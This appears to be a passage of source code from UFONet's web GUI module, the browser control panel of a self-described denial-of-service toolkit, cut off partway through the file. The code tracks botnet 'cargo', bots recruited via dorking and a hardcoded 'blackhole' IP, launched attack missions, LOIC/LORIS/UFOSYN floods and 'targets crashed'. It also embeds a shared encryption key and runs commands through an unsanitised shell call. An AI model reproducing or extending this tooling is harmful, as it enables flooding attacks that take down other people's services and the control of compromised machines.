webgui.py 248 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081308230833084308530863087308830893090309130923093309430953096309730983099310031013102310331043105310631073108310931103111311231133114311531163117311831193120312131223123312431253126312731283129313031313132313331343135313631373138313931403141314231433144314531463147314831493150315131523153315431553156315731583159316031613162316331643165316631673168316931703171317231733174317531763177317831793180318131823183318431853186318731883189319031913192319331943195319631973198319932003201320232033204320532063207320832093210321132123213321432153216321732183219322032213222322332243225322632273228322932303231323232333234323532363237323832393240324132423243324432453246324732483249325032513252325332543255325632573258325932603261326232633264326532663267326832693270327132723273327432753276327732783279328032813282328332843285328632873288328932903291329232933294329532963297329832993300330133023303330433053306330733083309331033113312331333143315331633173318331933203321332233233324332533263327332833293330333133323333333433353336333733383339334033413342334333443345334633473348334933503351335233533354335533563357335833593360336133623363336433653366336733683369337033713372337333743375337633773378337933803381338233833384338533863387338833893390339133923393339433953396339733983399340034013402340334043405340634073408340934103411341234133414341534163417341834193420342134223423342434253426342734283429343034313432343334343435343634373438343934403441344234433444344534463447344834493450345134523453345434553456345734583459346034613462346334643465346634673468346934703471347234733474347534763477347834793480348134823483348434853486348734883489349034913492349334943495349634973498349935003501350235033504350535063507350835093510351135123513351435153516351735183519352035213522352335243525352635273528352935303531353235333534353535363537353835393540354135423543354435453546354735483549355035513552355335543555355635573558355935603561356235633564356535663567356835693570357135723573357435753576357735783579358035813582358335843585358635873588358935903591359235933594359535963597359835993600360136023603360436053606360736083609361036113612361336143615361636173618361936203621362236233624362536263627362836293630363136323633363436353636363736383639364036413642364336443645364636473648364936503651365236533654365536563657365836593660366136623663366436653666366736683669367036713672367336743675367636773678367936803681368236833684368536863687368836893690369136923693369436953696369736983699370037013702370337043705370637073708370937103711371237133714371537163717371837193720372137223723372437253726372737283729373037313732373337343735373637373738373937403741374237433744374537463747374837493750375137523753375437553756375737583759376037613762376337643765376637673768376937703771377237733774377537763777377837793780378137823783378437853786378737883789379037913792379337943795379637973798379938003801380238033804380538063807380838093810381138123813381438153816381738183819382038213822382338243825382638273828382938303831383238333834383538363837383838393840384138423843384438453846384738483849385038513852385338543855385638573858385938603861386238633864386538663867386838693870387138723873387438753876387738783879388038813882388338843885388638873888388938903891389238933894389538963897389838993900390139023903390439053906390739083909391039113912391339143915391639173918391939203921392239233924392539263927392839293930393139323933393439353936393739383939394039413942394339443945394639473948394939503951395239533954395539563957395839593960396139623963396439653966396739683969397039713972397339743975397639773978397939803981398239833984398539863987398839893990399139923993399439953996399739983999400040014002400340044005400640074008400940104011401240134014401540164017401840194020402140224023402440254026402740284029403040314032403340344035403640374038403940404041
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. """
  4. UFONet - Denial of Service Toolkit - 2013/2014/2015/2016/2017/2018 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import socket, threading, re, base64, os, time, random
  10. import webbrowser, subprocess, urllib, urllib2, json, sys
  11. from time import gmtime, strftime, strptime
  12. from Crypto.Cipher import AES
  13. from hashlib import sha1, sha256
  14. from urlparse import urlparse
  15. from base64 import b64decode
  16. from decimal import Decimal
  17. from options import UFONetOptions
  18. from main import UFONet
  19. from abductor import Abductor
  20. host = "0.0.0.0"
  21. port = 9999
  22. default_blackhole = '176.28.23.46' # default blackhole
  23. blackhole_sep = "|" # blackhole stream separator
  24. board_msg_sep = "#!#" # board stream separator
  25. grid_msg_sep = "#?#" # grid stream seperator
  26. wargames_msg_sep = "#-#" # wargames stream seperator
  27. crypto_key = "U-NATi0n!" # default encryption/decryption (+moderator board) key
  28. class ClientThread(threading.Thread):
  29. def __init__(self, ip, port, socket):
  30. threading.Thread.__init__(self)
  31. self.ip = ip
  32. self.port = port
  33. self.socket = socket
  34. self.pages = Pages()
  35. def run(self):
  36. req = self.socket.recv(2048)
  37. res = self.pages.get(req)
  38. if res is None:
  39. self.socket.close()
  40. return
  41. out = "HTTP/1.0 %s\r\n" % res["code"]
  42. out += "Content-Type: %s\r\n\r\n" % res["ctype"]
  43. out += "%s" % res["html"]
  44. self.socket.send(out)
  45. self.socket.close()
  46. if "run" in res and len(res["run"]):
  47. subprocess.Popen(res["run"], shell=True)
  48. class Pages():
  49. def file_len(self, fn):
  50. with open(fn) as f:
  51. for i, l in enumerate(f):
  52. pass
  53. return i + 1
  54. def html_army_map(self,target=None):
  55. target_js="total_zombies = "+str( int(self.file_len(self.zombies_file))+int(self.file_len(self.aliens_file))+int(self.file_len(self.droids_file))+int(self.file_len(self.ucavs_file))+int(self.file_len(self.rpcs_file)) )+"\ninitMap()\n\n"
  56. if target is not None:
  57. target_js += "$('#ufomsg').load('/js/ajax.js?doll="+target+"')\n"
  58. return self.pages["/header"] + """
  59. <link rel="stylesheet" href="/js/style.css" />
  60. <link rel="stylesheet" href="/js/ajaxmap.css" />
  61. <link rel="stylesheet" href="/js/leaflet/leaflet.css" />
  62. <link rel="stylesheet" href="/js/cluster/MarkerCluster.Default.css"/>
  63. <link rel="stylesheet" href="/js/cluster/MarkerCluster.css"/>
  64. <script src="/js/leaflet/leaflet.js"></script>
  65. <script src="/js/cluster/leaflet.markercluster-src.js"></script>
  66. <script src="/js/jquery-1.10.2.min.js"></script>
  67. <script src="/js/rlayer-src.js"></script>
  68. <script src="/js/raphael.js"></script>
  69. <script src="/js/ufo.js"></script>
  70. <script src="/js/ajax.js"></script>
  71. </head><body bgcolor="black" text="black">
  72. <div id="wrapper">
  73. <div id="map" style="width: 100%; height: 100%"></div>
  74. </div>
  75. <script type="text/javascript">
  76. window.onload = function(){
  77. """+target_js+"""
  78. }
  79. </script>
  80. <center>
  81. """ + self.pages["/footer"]
  82. def html_request_submit(self):
  83. return self.pages["/header"]+"""<script>
  84. window.setTimeout(window.close,1234)
  85. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  86. <center>settings updated"""+self.pages["/footer"]
  87. def html_requests(self):
  88. # read requests configuration file (json)
  89. try:
  90. with open(self.mothership_webcfg_file) as data_file:
  91. data = json.load(data_file)
  92. except:
  93. if os.path.exists(self.mothership_webcfg_file) == True:
  94. print '\n[Error] - Cannot open: "core/json/webcfg.json"...\n'
  95. sys.exit(2)
  96. else: # generate default requests configuration file
  97. print '\n[Info] - Cannot found: "core/json/webcfg.json". Generating...\n'
  98. with open(self.mothership_webcfg_file, "w") as f:
  99. json.dump({"rproxy": "NONE", "ruseragent": "RANDOM", "rreferer": "RANDOM", "rhost": "NONE", "rxforw": "on", "rxclient": "on", "rtimeout": "10", "rretries": "1", "rdelay": "0", "threads": "5", "rssl": "off"}, f, indent=4)
  100. # set values of requests configuration from json file to html form
  101. with open(self.mothership_webcfg_file) as data_file:
  102. data = json.load(data_file)
  103. self.agents = [] # generating available user-agents
  104. f = open(self.agents_file)
  105. agents = f.readlines()
  106. f.close()
  107. for agent in agents:
  108. self.agents.append(agent)
  109. self.user_agent = random.choice(self.agents).strip()
  110. self.rproxy = data["rproxy"]
  111. if self.rproxy == "NONE":
  112. self.rproxy = ""
  113. self.ruseragent = data["ruseragent"]
  114. if self.ruseragent == "RANDOM":
  115. self.ruseragent = self.user_agent # random user-agent
  116. self.rreferer = data["rreferer"]
  117. if self.rreferer == "RANDOM":
  118. self.rreferer = self.referer # random referer
  119. self.rhost = data["rhost"]
  120. if self.rhost == "NONE":
  121. self.rhost = ""
  122. self.rxforw = data["rxforw"]
  123. if self.rxforw == "on":
  124. self.rxforw_check = 'checked'
  125. else:
  126. self.rxforw_check = ''
  127. self.rxclient = data["rxclient"]
  128. if self.rxclient == "on":
  129. self.rxclient_check = 'checked'
  130. else:
  131. self.rxclient_check = ''
  132. self.rtimeout = data["rtimeout"]
  133. self.rretries = data["rretries"]
  134. self.rdelay = data["rdelay"]
  135. self.threads = data["threads"]
  136. self.rssl = data["rssl"]
  137. if self.rssl == "on":
  138. self.rssl_check = 'checked'
  139. else:
  140. self.rssl_check = ''
  141. return self.pages["/header"] + """
  142. <script language="javascript">
  143. function Requests() {
  144. var win_requests = window.open("requests","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  145. }
  146. </script>
  147. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  148. <u>Configure requests:</u>
  149. <table cellpadding="2" cellspacing="2">
  150. <form method='GET'>
  151. <tr>
  152. <td> Use proxy server:</td>
  153. <td> <input type="text" name="rproxy" value='"""+str(self.rproxy)+"""'></td>
  154. </tr>
  155. <tr>
  156. <td> Use another HTTP User-Agent header:</td>
  157. <td> <input type="text" name="ruseragent" value='"""+str(self.ruseragent)+"""'></td>
  158. </tr>
  159. <tr>
  160. <td> Use another HTTP Referer header:</td>
  161. <td> <input type="text" name="rreferer" value='"""+str(self.rreferer)+"""'></td>
  162. </tr>
  163. <tr>
  164. <td> Use another HTTP Host header:</td>
  165. <td> <input type="text" name="rhost" value='"""+str(self.rhost)+"""'></td>
  166. </tr>
  167. <tr>
  168. <td> Set your HTTP X-Forwarded-For with random IP values:</td>
  169. <td> <input type="checkbox" name='rxforw' """+self.rxforw_check+"""></td>
  170. </tr>
  171. <tr>
  172. <td> Set your HTTP X-Client-IP with random IP values:</td>
  173. <td> <input type="checkbox" name='rxclient' """+self.rxclient_check+"""></td>
  174. </tr>
  175. <tr>
  176. <td> Select your timeout:</td>
  177. <td> <input type="text" name="rtimeout" value='"""+str(self.rtimeout)+"""'></td>
  178. </tr>
  179. <tr>
  180. <td> Retries when the connection timeouts:</td>
  181. <td> <input type="text" name="rretries" value='"""+str(self.rretries)+"""'></td>
  182. </tr>
  183. <tr>
  184. <td> Delay in seconds between each HTTP request:</td>
  185. <td> <input type="text" name="rdelay" value='"""+str(self.rdelay)+"""'></td>
  186. </tr>
  187. <tr>
  188. <td> Number of threads:</td>
  189. <td> <input type="text" name="threads" value='"""+str(self.threads)+"""'></td>
  190. </tr>
  191. <tr>
  192. <td> Force usage of SSL/HTTPS requests:</td>
  193. <td> <input type="checkbox" name='rssl' """+self.rssl_check+"""></td>
  194. </tr>
  195. </table>
  196. <hr>
  197. <input type="hidden" name="update" value="1">
  198. <input type="submit" value="Set!" onclick="Requests()"></pre>
  199. </form>
  200. """ + self.pages["/footer"]
  201. def html_board_profile_submit(self):
  202. return self.pages["/header"]+"""<script>
  203. window.setTimeout(window.close,1234)
  204. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  205. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  206. def html_grid_profile_submit(self):
  207. return self.pages["/header"]+"""<script>
  208. window.setTimeout(window.close,1234)
  209. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  210. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  211. def profile_crew(self, icon):
  212. files = os.listdir("core/images/crew/")
  213. if icon == "NONE":
  214. icon = "link1"
  215. html_stream = ""
  216. html_stream += "<table cellspacing='2' cellpadding='5'><form method='GET'><tr>"
  217. for f in files:
  218. id = str(f.replace(".png", ""))
  219. value = str(f.replace(".png", ""))
  220. if icon == value:
  221. checked = " CHECKED"
  222. else:
  223. checked = ""
  224. html_stream += "<td><input type='radio' name='profile_icon' id='"+id+"' value='"+value+"'"+ checked+"><img src='images/crew/"+f+"'></td>"
  225. html_stream += "</tr></table>"
  226. return html_stream
  227. def html_board_profile(self):
  228. try:
  229. with open(self.mothership_boardcfg_file) as data_file:
  230. data = json.load(data_file)
  231. except:
  232. if os.path.exists(self.mothership_boardcfg_file) == True:
  233. print '[Error] - Cannot open: "core/json/boardcfg.json"...\n'
  234. sys.exit(2)
  235. else:
  236. print '[Info] - Cannot found: "core/json/boardcfg.json". Generating...\n'
  237. with open(self.mothership_boardcfg_file, "w") as f:
  238. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  239. f.close()
  240. with open(self.mothership_boardcfg_file) as data_file:
  241. data = json.load(data_file)
  242. self.profile_token = str(random.getrandbits(128)) # generating random token hash
  243. self.profile_icon = data["profile_icon"]
  244. self.profile_nick = data["profile_nick"]
  245. self.profile_nick.encode('utf-8')
  246. return self.pages["/header"] + """
  247. <script language="javascript">
  248. function BoardProfile() {
  249. var win_board = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  250. }
  251. </script>
  252. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  253. <u>Configure profile:</u>
  254. <table cellpadding="2" cellspacing="2">
  255. <form method='GET'>
  256. <tr>
  257. <td> <u>OPERATOR/LINK:</u></td>
  258. <td> """+self.profile_crew(self.profile_icon)+"""</td>
  259. </tr>
  260. <tr>
  261. <td> <u>NICKNAME:</u></td>
  262. <td> <input type="text" name="profile_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.profile_nick.encode('utf-8')+"""'></td>
  263. </tr>
  264. </table>
  265. <hr>
  266. <input type="hidden" name="update" value="1">
  267. <input type="submit" value="Set!" onclick="BoardProfile()"></pre>
  268. </form>
  269. """ + self.pages["/footer"]
  270. def html_grid_profile(self):
  271. try:
  272. with open(self.mothership_gridcfg_file) as data_file:
  273. data = json.load(data_file)
  274. except:
  275. if os.path.exists(self.mothership_gridcfg_file) == True:
  276. print '[Error] - Cannot open: "core/json/gridcfg.json"...\n'
  277. sys.exit(2)
  278. else:
  279. print '[Info] - Cannot found: "core/json/gridcfg.json". Generating...\n'
  280. with open(self.mothership_gridcfg_file, "w") as f:
  281. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  282. f.close()
  283. with open(self.mothership_gridcfg_file) as data_file:
  284. data = json.load(data_file)
  285. self.grid_token = str(random.getrandbits(128)) # generating random token hash
  286. self.grid_contact = data["grid_contact"]
  287. self.grid_contact.encode('utf-8')
  288. self.grid_nick = data["grid_nick"]
  289. self.grid_nick.encode('utf-8')
  290. return self.pages["/header"] + """
  291. <script language="javascript">
  292. function GridProfile() {
  293. var win_board = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  294. }
  295. </script>
  296. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  297. <u>Configure grid profile:</u><br>
  298. <table cellpadding="2" cellspacing="2">
  299. <form method='GET'>
  300. <tr>
  301. <td> <u>NICKNAME:</u></td>
  302. <td> <input type="text" name="grid_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.grid_nick.encode('utf-8')+"""'></td>
  303. </tr>
  304. <tr>
  305. <td> <u>EMAIL/URL (CONTACT):</u></td>
  306. <td> <input type="text" name="grid_contact" pattern=".{8,120}" required title="8 to 120 characters" value='"""+self.grid_contact.encode('utf-8')+"""'></td>
  307. </tr>
  308. </table>
  309. <hr>
  310. <input type="hidden" name="update" value="1">
  311. <input type="submit" value="Set!" onclick="GridProfile()"></pre>
  312. </form>
  313. """ + self.pages["/footer"]
  314. def html_board_remove(self):
  315. try:
  316. with open(self.mothership_boardcfg_file, "w") as f:
  317. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  318. except:
  319. return
  320. return self.pages["/header"]+"""<script>
  321. window.setTimeout(window.close,1234)
  322. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  323. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  324. def html_grid_remove(self):
  325. try:
  326. with open(self.mothership_gridcfg_file, "w") as f:
  327. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  328. except:
  329. return
  330. return self.pages["/header"]+"""<script>
  331. window.setTimeout(window.close,1234)
  332. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  333. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  334. def html_stats(self):
  335. return self.pages["/header"] + """<script language="javascript">
  336. function Grid() {
  337. var win_grid = window.open("grid","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  338. }
  339. </script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  340. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  341. <center>
  342. <table cellpadding="5" cellspacing="5"><tr>
  343. <td><img src="/images/mothership.png"></td>
  344. <td>STATS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button></td>
  345. </tr</table>
  346. <br>
  347. <table border="0" cellpadding="5" cellspacing="10"><tr><td>
  348. <table border="1" cellpadding="5" cellspacing="10"><tr>
  349. <td><b><u>General:</u></b></td></tr>
  350. <tr>
  351. <td>Flying (times):</td><td align='right'><font color='red'>""" + str(self.aflying) + """</font></td></tr>
  352. </table>
  353. </td><td>
  354. <table border="1" cellpadding="5" cellspacing="10"><tr>
  355. <td><b><u>Botnet:</u></b></td></tr>
  356. <tr>
  357. <td>Total Cargo (now):</td><td align='right'><a href='javascript:runCommandX("cmd_list_army")'>"""+ self.total_botnet +"""</a></td></tr>
  358. <tr>
  359. <td>Scanner (new bots via dorking):</td>
  360. <td align='right'><font color='blue'>""" + str(self.ascanner) + """</font></td></tr>
  361. <tr>
  362. <td>Transferred (new bots via blackholes):</td>
  363. <td align='right'><font color='green'>""" + str(self.atransferred) + """</font></td></tr>
  364. <tr>
  365. <td>Max. Chargo (always): </td><td align='right'><font color='orange'>""" + str(self.amax_chargo) + """</font></td></tr>
  366. </table>
  367. </td><td>
  368. <table border="1" cellpadding="5" cellspacing="10"><tr>
  369. <td><b><u>Missions:</u></b></td></tr>
  370. <tr>
  371. <td>Created (launched):</td><td align='right'><font color='red'>""" + str(self.amissions) + """</font></td></tr>
  372. <tr>
  373. <td>Attacks (completed):</td><td align='right'><font color='blue'>""" + str(self.acompleted) + """</font></td></tr>
  374. <tr>
  375. <td>LOIC (used):</td><td align='right'><font color='cyan'>""" + str(self.aloic) + """</font></td></tr>
  376. <tr>
  377. <td>LORIS (used):</td><td align='right'><font color='cyan'>""" + str(self.aloris) + """</font></td></tr>
  378. <tr>
  379. <td>UFOSYN (used):</td><td align='right'><font color='cyan'>""" + str(self.aufosyn) + """</font></td></tr>
  380. <tr>
  381. <td>Targets (crashed):</td><td align='right'><font color='green'>""" + str(self.tcrashed) + """</font></td></tr>
  382. <tr>
  383. <td>Crashing (T*100/A=C%):</td><td align='right'><font color='orange'>""" + str(round(self.mothership_acc, 2)) + """%</font></td></tr>
  384. </table>
  385. </td></tr></table>
  386. <br><hr>
  387. <div id="cmdOut"></div>
  388. """ + self.pages["/footer"]
  389. def hmac_sha1(self, key, msg):
  390. if len(key) > 20:
  391. key = sha1(key).digest()
  392. key += chr(0) * (20 - len(key))
  393. o_key_pad = key.translate(self.trans_5C)
  394. i_key_pad = key.translate(self.trans_36)
  395. return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
  396. def derive_keys(self, key):
  397. h = sha256()
  398. h.update(key)
  399. h.update('cipher')
  400. cipher_key = h.digest()
  401. h = sha256()
  402. h.update(key)
  403. h.update('mac')
  404. mac_key = h.digest()
  405. return (cipher_key, mac_key)
  406. def decrypt(self, key, text):
  407. KEY_SIZE = 32
  408. BLOCK_SIZE = 16
  409. MAC_SIZE = 20
  410. mode = AES.MODE_CFB
  411. try:
  412. iv_ciphertext_mac = b64decode(text)
  413. except TypeError:
  414. return None
  415. iv = iv_ciphertext_mac[:BLOCK_SIZE]
  416. ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
  417. mac = iv_ciphertext_mac[-MAC_SIZE:]
  418. (cipher_key, mac_key) = self.derive_keys(key)
  419. expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
  420. if mac != expected_mac:
  421. return None
  422. aes = AES.new(cipher_key, mode, iv)
  423. self.decryptedtext = aes.decrypt(ciphertext)
  424. def encrypt(self, key, text):
  425. from server.crypter import Cipher
  426. from base64 import b64encode, b64decode
  427. key = b64encode(key)
  428. c = Cipher(key, text)
  429. msg = c.encrypt()
  430. c.set_text(msg)
  431. self.encryptedtext = str(msg)
  432. def html_news(self):
  433. return self.pages["/header"] + """<script language="javascript">
  434. function Decrypt(){
  435. news_key=document.getElementById("news_key").value
  436. if(news_key == "") {
  437. window.alert("You need to enter a valid key (provided by someone)");
  438. return
  439. }else{
  440. params="news_key="+escape(news_key)
  441. runCommandX("cmd_decrypt",params)
  442. document.getElementById("nb1").style.display = "none";
  443. }
  444. }
  445. </script>
  446. <script language="javascript">
  447. function RefreshNews(){
  448. news_source=document.getElementById("news_source").value
  449. if(news_source == "") {
  450. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  451. return
  452. }else{
  453. params="news_source="+escape(news_source)
  454. runCommandX("cmd_refresh_news",params)
  455. document.getElementById("nb1").style.display = "none";
  456. setTimeout("location.reload()", 10000)
  457. }
  458. }
  459. </script>
  460. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  461. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  462. <br>
  463. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  464. <td>Blackhole/IP:</td>
  465. <td><input type="text" name="news_source" id="news_source" size="20" value='"""+default_blackhole+"""'></td>
  466. </tr></table></td><td><button title="Search for records on that blackhole..." onclick="RefreshNews()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search News...</button></td></tr></table>
  467. <hr>
  468. <table cellpadding="5" cellspacing="5"><tr>
